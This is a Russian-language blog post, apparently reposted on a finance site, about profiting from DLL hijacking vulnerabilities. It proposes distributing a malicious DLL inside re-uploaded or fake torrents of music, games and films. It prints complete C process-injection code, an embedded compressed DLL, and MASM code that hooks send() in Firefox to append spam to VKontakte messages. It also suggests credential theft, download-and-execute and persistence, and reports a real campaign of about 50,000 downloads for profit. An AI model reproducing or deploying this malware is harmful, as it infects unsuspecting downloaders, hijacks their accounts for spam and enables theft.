Финансы Сайт на котором знают все про финансы

Прибыльный DLL Hijacking

Ни для кого не секрет, что за последнее время уязвимость типа DLL Hijacking была найдена в довольно большом количестве популярных приложений (например, Winamp, uTorrent, FireFox, Opera и др.). Суть уязвимости сводится к возможности подгрузки сторонней DLL при открытии некоторых типов файлов этими приложениями.
Решил провести оценку потенциальных возможностей от данного наплыва. Так как специфика уязвимости состоит в том, что зачастую требуется, чтобы инстанс приложения не был запущен до попытки открытия файла, то наиболее актуальными показались следующие уязвимости: уязвимость в Winamp и уязвимость в Daemon tools lite.
Идея использования состоит в следующем: берутся свежие релизы с зарубежных музыкальных и игровых трекеров (например, sceneaccess, waffles, what.cd, blackcats-games), комплектуются dll’кой и перезаливаются на популярные российские трекеры (rutracker, торренты на ВКонтакте и т.д.). Подбирая актуальные новинки, можно получить приличное количество скачиваний в короткие сроки или можно выкладывать фейки альбомов/игр/фильмов.
С помощью фейков удается привлечь большее количество скачиваний в сутки, особенно если следить за раздачами и пересоздавать их в случае разоблачения, реальные раздачи обладают большей стабильностью.

Для тестирования данной идеи была написана DLL, которая обладает следующим функционалом:
1. Ищет процесс FireFox
2. Сплайсит функцию send
3. Добавляет дополнительный текст при отправке личного сообщения на ВКонтакте

Конечно, можно было бы сделать более широкий функционал, например: отправка аккаунтов от различных сервисов на гейт, инжект во все популярные браузеры, а не только в FireFox, инжект в всевозможные icq клиенты, подмена выдачи поисковиков, прописывание себя в реестр в AppInit_DLLs, скачивание и запуск чего-либо из интернета, да, в конце концов, закрепление в системе.
Но целью было исследование эффективности, а не получение прибыли с этого. DLL состоит из двух частей: одна часть на С, другая — на masm. Первая часть хранит в себе вторую и осуществляет поиск процесса и инжект в него второй части. Вторая часть осуществляет сплайсинг функции send и подмену содержимого сообщений. Да, реализация так себе, но, кому надо — тот перепишет под себя.

Код первой части:

#pragma comment(lib, "psapi")
#undef UNICODE
#include 
#include 
#include 
#include 
#include <sys/stat.h>

#define BUFSIZE 1024
#define DLL_NAME "mem.dll"

typedef NTSTATUS (__stdcall *fpRtlDecompressBuffer)(ULONG, PVOID, ULONG, PVOID, ULONG, PULONG);

//структура описывает поля, в которых содержится код внедрения
#pragma pack(push, 1)
struct INJECTORCODE
{
	BYTE  instr_push_loadlibrary_arg; //инструкция push
	DWORD loadlibrary_arg;            //аргумент push

	WORD  instr_call_loadlibrary;     //инструкция call
	DWORD adr_from_call_loadlibrary;

	BYTE  instr_push_exitthread_arg;
	DWORD exitthread_arg;

	WORD  instr_call_exitthread;
	DWORD adr_from_call_exitthread;

	DWORD addr_loadlibrary;
	DWORD addr_exitthread;     //адрес функции ExitThread
	BYTE  libraryname[100];    //имя и путь к загружаемой библиотеке
};

#pragma pack(pop)

BOOL InjectDll(DWORD pid, char *lpszDllName)
{
	HANDLE hProcess;
	BYTE *p_code;
	INJECTORCODE cmds;
	DWORD wr, id;

	//Открыть процесс с нужным доступом
	hProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|0x1000|PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ, FALSE, pid);
	if(hProcess == NULL)
	{
		MessageBoxA(NULL, "You have not enough rights to attach dlls", "Error!", 0);
		return FALSE;
	}

	//Зарезервировать память в процессе
	p_code = (BYTE*)VirtualAllocEx(hProcess, 0, sizeof(INJECTORCODE),
		MEM_COMMIT, PAGE_READWRITE);
	if(p_code == NULL)
	{
		MessageBox(NULL, "Unable to alloc memory in remote process", "Error!", 0);
		return FALSE;
	}



	//Инициализировать  машинный код
	cmds.instr_push_loadlibrary_arg = 0x68; //машинный код инструкции push
	cmds.loadlibrary_arg = (DWORD)((BYTE*)p_code 
		+ offsetof(INJECTORCODE, libraryname));

	cmds.instr_call_loadlibrary = 0x15ff; //машинный код инструкции call
	cmds.adr_from_call_loadlibrary = 
		(DWORD)(p_code + offsetof(INJECTORCODE, addr_loadlibrary));

	cmds.instr_push_exitthread_arg  = 0x68;
	cmds.exitthread_arg = 0;

	cmds.instr_call_exitthread = 0x15ff; 
	cmds.adr_from_call_exitthread = 
		(DWORD)(p_code + offsetof(INJECTORCODE, addr_exitthread));

	cmds.addr_loadlibrary = 
		(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

	cmds.addr_exitthread  = 
		(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"ExitThread");

	if(strlen(lpszDllName) > 99)
	{
		MessageBox(NULL, "Dll Name too long", "Error!", 0);
		return FALSE;
	}
	strcpy((char*)cmds.libraryname, lpszDllName );

	/*После инициализации cmds в мнемонике ассемблера выглядит следующим
	образом:
	push  adr_library_name               ;аргумент ф-ции loadlibrary
	call dword ptr [loadlibrary_adr]     ;вызвать LoadLibrary 
	push exit_thread_arg                 ;аргумент для ExitThread
	call dword ptr [exit_thread_adr]     ;вызвать ExitThread     
	*/

	//Записать машинный код по зарезервированному адресу
	WriteProcessMemory(hProcess, p_code, &cmds, sizeof(cmds), &wr);


	//Выполнить машинный код
	DWORD old_rights;

	HANDLE z = CreateRemoteThread(hProcess, NULL, 0, 
		(unsigned long (__stdcall *)(void *))p_code, 0, 0, &id);

	
	//Ожидать завершения удаленного потока
	WaitForSingleObject(z, INFINITE);
	//Освободить память
	VirtualFreeEx(hProcess, (void*)p_code, sizeof(cmds), MEM_RELEASE);

	return TRUE;
}

//Функция установки привилегий отладчика
int AdjustPrivileges() 
{
	HANDLE hToken;
	TOKEN_PRIVILEGES tp;
	TOKEN_PRIVILEGES oldtp;
	DWORD dwSize = sizeof(TOKEN_PRIVILEGES);
	LUID luid;

	if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
	{
		if(GetLastError() == ERROR_CALL_NOT_IMPLEMENTED)
			return 1;
		
		return 0;
	}

	if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
	{
		CloseHandle(hToken);
		return 0;
	}

	ZeroMemory(&tp, sizeof(tp));
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), &oldtp, &dwSize))
	{
		CloseHandle(hToken);
		return 0;
	}

	CloseHandle(hToken);

	return 1;
}

//Функция проверки существования файла
int file_exists(char * fileName)
{
	struct stat buf;
	return stat(fileName, &buf) ? 0 : 1;
}

void on_attach()
{
	if(AdjustPrivileges())
	{
		DWORD junk;
		//Тело DLL в hex после RtlCompressBuffer 
		char *tempbuf = "\xBA\xB7\x00\x4D\x5A\x00\x00\x01\x00\x00\x00\x82\x02\x00\x30\xFF\xFF\x00\x00\x40\x00\x38\xC3\x01\x00\x05\x38\xB4\x4C\xCD\x21\x04\x28\x0E\x00\x01\x01\x8C\x50\x45\x00\x00\x4C\x01\x03\x20\x00\x40\x3D\x7A\x4C\x05\x2E\xE0\x00\x00\x0E\x21\x0B\x01\x05\x0C\x00\x08\xA5\x00\x18\x04\x03\x26\x11\x13\x00\x08\x10\x00\x06\xFE\x20\x04\x72\x01\x16\x00\xE8\x01\x3C\x05\x03\x06\x54\x00\x17\x7C\x65\xF6\x03\x93\x02\x28\x01\x2B\x06\x07\x03\x06\xC0\x90\x17\x00\x00\x30\x00\x07\x4C\x16\x00\x83\x77\x15\xA0\x01\x00\x00\x24\xAC\x19\x1F\x15\x00\x00\x32\x3C\x41\x18\x0F\x2E\x74\x65\x78\x74\x80\x03\xF0\x3E\x07\x04\x48\x81\x75\x03\x58\x06\x00\x00\x75\x60\x2E\xD0\x64\x61\x74\x61\x80\x05\xFC\x01\xB2\x81\x7D\x05\x81\x11\x0A\x8E\xA3\xC0\x2E\x72\x65\x6C\x60\x6F\x63\x00\x00\xB8\x84\x59\x82\x13\x0C\xAD\x8E\x13\x42\x31\x65\x19\x00\xD8\xC0\x4F\xEC\xC0\x00\xAA\xFE\xC0\x00\x14\xC0\x54\x24\xC0\x00\x32\xC0\x00\xAA\x44\xC0\x00\x5A\xC0\x00\x66\xC0\x00\x72\xC0\x00\x35\x01\x00\xA4\xC4\x01\x8C\xC4\x01\x01\x00\x55\x8B\x00\xEC\x68\x63\x21\x40\x00\xFF\x75\x00\x0C\xE8\xF6\x05\x00\x00\x8B\xD8\x14\x68\x77\x84\x03\xE7\x81\x03\xC0\x0B\xDB\x08\x0F\x84\x86\x00\x33\x0B\xC0\x0F\x85\x0A\x7E\xC0\x01\x6A\x41\x00\xFF\x68\x00\x20\x12\x40\x82\x02\xE8\x61\x40\x7E\x8B\xD8\x6A\x54\x04\x68\x41\x51\x53\x00\x04\x56\x00\x04\xA3\x62\x4B\xC0\x10\x53\xFF\x35\x81\x01\x09\x0B\x34\x51\xC0\x06\x6B\xDB\x06\x48\x0B\x28\x41\x0B\x4F\x07\x43\x0B\x81\x01\xC3\x0C\xE8\x4C\x03\x00\x00\x58\x68\x00\x80\x81\x1B\x44\x04\x05\x00\x0A\x03\x60\x5D\x10\x89\x1D\x17\x01\x13\x03\x10\xFF\x22\x35\x02\x03\x00\xE8\xE2\x80\x0B\xA3\x57\x29\x80\x09\x68\x83\x04\x2F\x2A\x01\x2F\xF0\x46\x00\x56\x33\xC9\xEB\x02\x41\xAC\x3C\x00\x26\x75\xFA\x5E\x49\x89\x0D\x1B\xA5\x80\x0B\xA1\x01\x01\x03\x05\x88\x11\x50\x40\x10\x7A\xA0\x41\x10\x5F\x81\x2B\x85\x16\x81\x09\x00\x06\x87\x4D\x01\x06\x53\x42\x26\x43\x04\xFF\x35\x41\x03\x56\x4C\xE8\xA2\x00\x06\xC3\x02\xFF\x35\x01\x0E\xE8\x6E\x7B\x02\x04\x03\x31\x02\x04\x64\x09\x31\xC1\x05\xE8\xBE\x40\x82\x08\x01\x07\x45\x0E\x01\x2D\xC1\x2B\x84\xC9\x0A\x4D\x42\x0F\x14\x49\x04\x01\x0B\xE8\x02\x41\x04\x8D\x09\x86\x0D\xE8\x46\x80\x44\x83\xC0\x04\x50\xC4\xE8\x07\x00\x03\x50\x68\x92\xE2\x1F\x60\x14\x04\xE8\xFD\xE0\x34\x83\xC4\x0C\x68\xA5\x85\x84\x0B\x1D\x61\x34\xF0\x83\xC6\x10\xC5\x21\x82\x0D\xC0\x21\x51\x6A\x00\x68\x1F\xA0\x05\x98\x56\xE8\xD8\xC0\x05\x42\x01\x68\xB6\x41\x08\x5A\xE7\x41\x08\xBA\x43\x08\x24\x0D\xA6\xA1\x01\xC0\xCA\x05\xE8\x25\x70\x20\x02\xA3\x5B\x25\x0E\x62\x06\xEC\xFF\x35\xE1\x01\x24\x06\xB4\x61\x0A\xA5\x17\x22\x02\x26\x44\x20\x02\x43\x04\xE8\x57\x41\x01\x75\x14\x02\x50\x24\x06\x75\x08\x68\xD8\x12\x40\x99\x41\x51\xA1\xF4\xE0\x01\x00\x0D\xFF\xE0\x66\x07\x05\x02\x06\x08\x00\x06\x8B\x45\x10\xEB\x1E\x31\xA0\x06\xFF\x75\x10\x60\x1A\x81\x06\x0D\x13\x11\x8C\x06\x5D\xC2\x10\x01\x02\x83\x7D\x0C\xA0\x01\x75\x6E\x68\xC9\x21\x07\xB6\xE0\x76\x34\xA3\xF0\xE1\x14\xD5\x82\x13\x41\x01\xE8\xA7\x13\x81\x02\xA1\x06\x68\xF8\x22\x3E\x6A\x05\xFF\x32\x35\xC1\x01\xE8\xA6\x00\x03\xC2\x09\xC6\x00\x00\xE9\xB9\x40\x10\x40\x00\x2B\x0D\x41\x82\x0B\xE9\x05\x89\x48\x01\x82\x05\xFF\x56\x35\x42\x06\x05\x06\x75\x00\x06\xB8\x41\x83\xC9\x04\xC2\x0C\x41\x0F\x56\x57\x53\x8B\x75\x00\x0C\x8B\x7D\x08\x8B\xC6\x2B\x45\x00\x0C\x8B\x5D\x10\x83\xEB\x04\x3B\x00\xC3\x72\x02\xEB\x74\x8A\x07\x3C\x00\x80\x73\x4E\x3C\x20\x75\x06\xC6\x00\x06\x2B\x46\xEB\x59\x3C\x00\x76\x00\x04\x3C\x2F\x76\x14\x3C\x3A\x72\x80\x04\x3C\x40\x76\x0C\x3C\x5B\xE0\x00\x02\x60\x60\x02\x7B\x72\x23\x3C\x2E\x74\x00\x1F\x3C\x5F\x74\x1B\x3C\x2D\x74\x80\x17\x0F\xB6\xC0\x50\x68\xDA\x22\x4E\x06\x26\x00\x0D\x60\x32\x83\xC6\x03\xEB\x1A\xA0\x88\x06\x46\xEB\x15\x62\x03\xE1\x62\x03\x02\x0A\x66\x03\x47\x8A\x1F\x84\xDB\x0F\x00\x85\x7B\xFF\xFF\xFF\xC6\x06\x00\x88\x5B\x5F\x5E\x44\x13\x83\xC4\xF8\xA0\x13\x0F\xC2\x77\x42\x78\x20\x28\x20\x40\xE9\xFD\x00\x00\x04\xE8\xB5\x00\x18\x83\xF8\x00\x76\x20\x50\x40\x89\x45\xF8\x88\x3C\x8B\xE0\x02\x0B\x08\xC0\x75\x10\x22\x1C\xEB\x67\xEB\x07\x82\xB8\xA1\x9A\xEB\x5E\x89\x45\xFC\x61\x08\x40\xFF\x75\xF8\xFF\x75\xFC\x2A\x09\x6B\x45\x23\x06\x16\xC5\x37\x75\xFC\xE8\xC1\xCA\xB8\x11\x00\x54\x00\xEB\x26\x45\x37\xFC\xE8\xD1\x2C\xFE\xFF\xC0\x82\x66\x04\x28\xC0\x03\x33\xC0\x23\x64\x15\xC4\x00\xFF\x25\x00\x00\x30\xFF\x25\xAA\x04\xA2\x00\x08\xA2\x00\x0C\xA2\x00\x10\xA2\x00\xAA\x14\xA2\x00\x18\xA2\x00\x1C\xA2\x00\x20\xA2\x00\x2A\x24\xA2\x00\x34\xA0\x00\xCC\x00\x00\x8B\x4C\x00\x24\x10\x8B\x54\x24\x04\x03\xD1\x00\x03\x54\x24\x0C\x8B\x44\x24\x08\x00\x03\xC1\xF7\xD9\x53\x0F\xB6\x1C\x00\x11\x88\x1C\x01\x83\xC1\x01\x75\x60\xF4\x5B\xC6\x00\x00\x00\x47\xA1\x05\xCC\x42\xCC\x02\x25\xFC\x53\x56\x57\x80\x1A\xE8\x4E\x9F\xC0\x12\x60\x1D\xC0\x16\xE8\x94\x40\x01\x29\x00\x45\xFC\x8B\x75\x08\x01\x75\xFC\x01\xE1\x3A\x45\xFC\x01\x8B\x7D\x0C\x83\x00\xEE\x01\xEB\x04\x03\xF1\x8B\xFF\x00\x83\xC6\x01\x39\x75\xFC\x7E\x4C\x00\x0F\xB6\x06\x3A\x03\x74\x09\x88\x00\x07\x83\xC7\x01\xEB\xEA\x8B\xFF\x22\xB9\xC0\x30\xFF\x8B\xD3\x00\x0D\x0F\xB6\x00\x02\x85\xC0\x74\x13\x83\xC2\x01\x60\x38\x04\x31\x74\xEE\x00\x05\x83\x04\xC5\x40\x90\x8B\x55\x14\x83\xE9\xE4\x03\xB3\x33\xE0\x03\xE3\x02\xEF\x90\x62\x07\x22\x07\x04\x31\x00\x88\x04\x39\x85\xC0\x75\xF2\x5F\x18\x5E\x5B\xC9\x66\x15\xE2\x1B\x44\x24\x04\x08\x83\xE8\x04\x60\x40\x80\x38\x00\x74\x00\x30\x80\x78\x01\x00\x74\x20\x80\x00\x78\x02\x00\x74\x10\x80\x78\x03\x10\x00\x75\xE6\x2B\x01\x02\xC0\x03\xC2\xD4\x04\x00\x93\x00\x02\x96\x00\x01\x94\x00\x60\x00\x68\xFF\x25\x2C\xF0\x12\x9C\x30\x64\x05\x00\x7E\xAB\x31\x62\x60\x20\xD0\x38\x01\x98\x30\x01\x34\x30\x01\xEA\xC8\x38\x01\xAE\x30\x01\x2C\x74\x7D\xBF\x69\xBF\x69\x07\xBF\x69\xBF\x69\x01\x00\x34\x01\x47\x65\x74\x00\x4D\x6F\x64\x75\x6C\x65\x48\x61\x60\x6E\x64\x6C\x65\x41\xF0\x62\x31\x01\x50\x00\x72\x6F\x63\x41\x64\x64\x72\x65\x00\x73\x73\x00\x00\x0D\x02\x4D\x75\x00\x6C\x74\x69\x42\x79\x74\x…

Пример использования функции RtlCompressBuffer для сжатия файла можно посмотреть тут.
Преобразовать сжатый файл в hex можно следующим скриптом на Perl:

use warnings;

open F, '<', 'compressed.txt' or die $!;
undef $/;
my $str = ;
close F;

open F, '>', 'hex.txt' or die $!;
for my $ch(split //, $str)
{
	print F '\x',sprintf("%02X", ord($ch));
}
close F;

Код второй части:

.486
.model flat, stdcall
option casemap :none


include \masm32\include\windows.inc
include \masm32\macros\macros.asm
include \masm32\macros\windows.asm
include \masm32\macros\inject.asm

uselib kernel32, user32, masm32, Shlwapi

urlencodeW proto :DWORD, :DWORD, :DWORD

.data
;Сообщение, которое будет добавляться к тексту, отправляемому пользователем
message_add db 13,10,"payload",0

textlen dd 0
mess_len dd 0

misc db 100 dup (0)
header db 100 dup (0)
header1 db 100 dup (0)

message_w dword ?
message_add_urlenc dword ?
message dword ?
request dword ?
request_final dword ?
temp dword ?


iAlloc MACRO size:REQ
invoke VirtualAlloc,0,&size,MEM_COMMIT,PAGE_READWRITE
EXITM 
ENDM

iFree MACRO memaddr:REQ
invoke VirtualFree,&memaddr,0,MEM_RELEASE
ENDM

.code

MyFunc:
	push ebp
	mov ebp,esp
	
	;__in  SOCKET s, __in  const char *buf, __in  int len, __in  int flags
	
	mov ebx,FUNC(StrStrA,[ebp+12],chr$("POST /mail.php HTTP"))
	mov eax,FUNC(StrStrA,[ebp+12],chr$("act=sent"))
	
	.if ebx != 0 && eax != 0
		;Определяем необходимый размер буфера
		invoke MultiByteToWideChar,CP_ACP,0,offset message_add,-1,0,0
		mov ebx,eax
		;Создаем буфер
		mov message_w,iAlloc(ebx)
		;Кодируем
		invoke MultiByteToWideChar,CP_ACP,0,offset message_add,-1,message_w,ebx
		;Мега буфер для urlenc сообщения
		mov eax,6
		mul ebx
		mov message_add_urlenc,iAlloc(ebx)
		invoke urlencodeW,message_w,message_add_urlenc,ebx
		
		iFree message_w
		;размер = сообщение после обработки + исходный запрос
		add ebx,[ebp+16]
		mov textlen,ebx
		
	
		;Буфер по размеру текста
		mov request,iAlloc(textlen)
		
		invoke StrStr,[ebp+12],chr$("&message=")
		mov esi,eax
		;пропуск &
		inc esi
		push esi
		
		xor ecx,ecx
		.while al != '&'
			inc ecx
			lodsb
		.endw
		pop esi
		
		;размер сообщения
		dec ecx
		mov mess_len,ecx
		
		;размер оригинал + добавка
		mov eax,mess_len
		add eax,textlen
		
		;Буфер для них
		mov temp,iAlloc(eax)
		
		;Буфер для оригинала сообщения
		mov message,iAlloc(mess_len)
		
		;в message оригинальное сообщение
		fn szMid,esi,message,0,mess_len
		;Копируем оригинал в temp
		invoke lstrcpy,temp,message
		
		;Объединяем тексты
		invoke lstrcat,temp,message_add_urlenc
		
		;Освобождаем буфер с добавляемым сообщением
		iFree message_add_urlenc
		
		;Замена
		fn szRep,[ebp+12],request,message,temp
		
		
		;Уже не надо
		iFree temp
		iFree message
		
		;Тело запроса
		invoke StrStr,request,chr$(13,10,13,10)
		add eax,4
		
		;Размер тела
		invoke lstrlen,eax
		
		;Делаем новый заголовок
		invoke wsprintf,offset header,chr$("Content-Length: %u"),eax

		
		invoke StrStr,[ebp+12],chr$("Content-Length: ")
		mov esi,eax
		add esi,16
		
		push esi
		
		xor ecx,ecx
		.while al != 13 ; \r
			inc ecx
			lodsb
		.endw
		
		pop esi
		
		;Старый размер
		fn szMid,esi,offset misc,0,ecx
		
		;Делаем старый заголовок
		invoke wsprintf,offset header1,chr$("Content-Length: %s"),offset misc
		
		invoke lstrlen,request
		add eax,5
		
		mov request_final,iAlloc(eax)
		
		;Замена
		fn szRep,request,request_final,offset header1,offset header
		
		iFree request

		;Размер буфера к отправке
		invoke lstrlen,request_final
		HOOK_ORIGINAL_CALL_PARAM send,1,[ebp+8],request_final,eax,[ebp+20]
		
		iFree request_final
		
		;Возвращаем размер оригинального запроса
		mov eax,[ebp+16]
		
	.else
	
		HOOK_ORIGINAL_CALL send, 4
		
	.endif
		
	
	pop ebp
	retn 4*4


LibMain proc instance:DWORD,reason:DWORD,reserved:DWORD

	.if reason == DLL_PROCESS_ATTACH 
		;Ставим хук
		SET_HOOK wsock32.dll, send, MyFunc
		;Успешный атач
		mov eax,1
	.endif
	
	ret
LibMain ENDP

urlencode PROC text_to_convert :DWORD, result_buffer :DWORD, result_buffer_len :DWORD
  push esi
  push edi
  push ebx

  mov esi,result_buffer
  mov edi,text_to_convert


  loop_enc:
    mov eax,esi
    sub eax,result_buffer
    mov ebx,result_buffer_len
    sub ebx,4

    .if eax>=ebx
      jmp loop_enc_end
    .endif

    mov al,byte ptr [edi]

  .if al<80h .if al==' ' mov byte ptr [esi],'+' inc esi .elseif ((al>0 && al<=47) || (al>=58 && al<=64) || (al>=91 && al<=96) || al>=123) && al!='.' && al!='_' && al!='-'
      movzx eax,al
      invoke wsprintf,esi,chr$("%%%02X"),eax
      add esi,3
    .else
      mov byte ptr [esi],al
      inc esi
    .endif
  .else
      movzx eax,al
      invoke wsprintf,esi,chr$("%%%02X"),eax
      add esi,3
  .endif

    inc edi
    mov bl,byte ptr [edi]
    test bl,bl
  jne loop_enc

loop_enc_end:

  mov byte ptr [esi],0
  pop ebx
  pop edi
  pop esi
ret
urlencode ENDP

urlencodeW PROC text_to_convert :DWORD, result_buffer :DWORD, result_buffer_len :DWORD
  LOCAL convert_buffer :DWORD
  LOCAL convert_buffer_len :DWORD

  push esi
  push edi
  push ebx

  invoke WideCharToMultiByte,CP_UTF8,0,text_to_convert,-1,0,0,0,0
  .if eax>0
    inc eax
    mov convert_buffer_len,eax

    invoke VirtualAlloc,0,eax,MEM_COMMIT,PAGE_READWRITE
    .if eax==0
      mov eax,1
      jmp conv_error
    .endif
  .else
    mov eax,2
    jmp conv_error
  .endif

  mov convert_buffer,eax

  invoke WideCharToMultiByte,CP_UTF8,0,text_to_convert,-1,convert_buffer,convert_buffer_len,0,0

  .if eax==0
    invoke VirtualFree,convert_buffer,0,MEM_RELEASE
    mov eax,3
    jmp conv_error
  .endif

  invoke urlencode,convert_buffer,result_buffer,result_buffer_len

  invoke VirtualFree,convert_buffer,0,MEM_RELEASE

  xor eax,eax
  pop ebx
  pop edi
  pop esi
ret

conv_error:
  pop ebx
  pop edi
  pop esi
ret
urlencodeW ENDP

end LibMain

inject.asm, используемый в коде, представляет собой набор макросов из статьи «Делаем собственный инжектор». Данный файл на всякий случай включен в архив в конце статьи.

Если у Вас возникают проблемы с пониманием кода, то советую обратиться к следующим статьям: раз, два, три. Необходимые инструменты для компиляции второй части можно найти тут.

Результат работы выглядит следующим образом:
1. Пользователь пишет сообщение, нажимает отправить

2. В исходящих оказывается сообщение с пользовательским текстом и добавкой из библиотеки

Ужасно тривиально.
Чем это полезно? Во-первых, можно осуществлять рассылки без необходимости приобретения актуальных программ для этих целей, во-вторых, не требуются прокси, т.к. рассылку осуществляет владелец аккаунта (хотя объемы рассылки будут заметно ниже, ибо не каждый общается со всем своим контакт-листом каждый день), в-третьих, такие рассылки с большей вероятностью проходят фильтр на основе теоремы Байеса (меньше вероятность того, что получатель нажмет кнопку «Это спам», большее разнообразие текстов).

Знакомый человек протестировал данную систему, и вот что у него получилось.
1. Было создано 10 разных раздач на нескольких трекерах.
2. В качестве контента использовались новинки из области музыки, игр и фильмов (т.к. mpc тоже уязвим).
3. Одна удачная раздача набрала ~8900 скачиваний всего за несколько дней.

4. Суммарно 10 раздач были скачаны ~50000 раз

О проценте сработавших инжектов судить можно только косвенно, но по информации знакомого ему удалось заработать ~150$ за 7 дней на этом деле. Для многих это, наверное, не слишком большая сумма, однако тут многое зависит от качества реализации и оригинальности идеи.
Более качественный и функциональный код + несколько удачных раздач + правильный подход смогут дать многократное увеличение прибыли.

Исходные коды: скачать